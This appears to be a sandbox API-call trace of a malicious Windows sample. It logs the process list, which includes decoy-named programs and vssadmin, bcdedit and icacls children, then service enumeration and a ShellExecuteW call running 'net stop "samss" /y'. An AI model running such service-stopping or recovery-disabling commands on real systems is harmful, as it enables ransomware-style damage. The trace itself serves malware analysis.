	[0200.647] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0200.650] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0200.653] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0200.656] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0200.659] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0201.161] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0201.164] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0201.167] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0201.170] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x101, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0201.173] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0201.175] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0201.178] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0201.181] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0201.184] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0201.187] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0201.190] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0201.598] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0201.601] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0201.604] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x169c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0201.607] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0201.610] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0201.613] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0201.625] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0201.628] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0201.631] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0201.634] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0201.637] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0201.639] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0201.642] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0202.172] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1694, pcPriClassBase=8, dwFlags=0x0, szExeFile="bcdedit.exe")) returned 1
	[0202.175] Process32NextW (in: hSnapshot=0x248, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1694, pcPriClassBase=8, dwFlags=0x0, szExeFile="bcdedit.exe")) returned 0
	[0202.177] CloseHandle (hObject=0x248) returned 1
	[0202.177] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2e5d40
	[0202.178] EnumServicesStatusW (in: hSCManager=0x2e5d40, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 0
	[0202.179] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x8b10000
	[0202.180] EnumServicesStatusW (in: hSCManager=0x2e5d40, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b10000, cbBufSize=0x169d, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x8b10000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 1
	[0202.182] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0204.426] Sleep (dwMilliseconds=0x96) 
	[0205.024] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.026] Sleep (dwMilliseconds=0xc350) 
	[0215.831] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x6d8
	[0216.985] Process32FirstW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0216.988] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0216.991] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0216.994] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0217.007] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0217.011] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0217.422] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0217.425] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0217.428] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0217.431] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0217.435] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0217.438] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0217.441] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0217.445] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0217.448] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0217.452] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0217.455] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0217.458] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0217.461] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0217.987] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0217.990] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0217.993] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0217.997] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0218.000] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0218.004] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0218.007] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0218.010] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0218.013] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0218.016] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0218.019] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0218.022] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0218.790] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0218.793] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0218.797] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0218.800] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0218.803] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0218.806] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0218.810] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0218.813] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0218.816] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0218.819] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0219.371] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0219.374] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0219.378] Process32NextW (in: hSnapshot=0x6d8, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
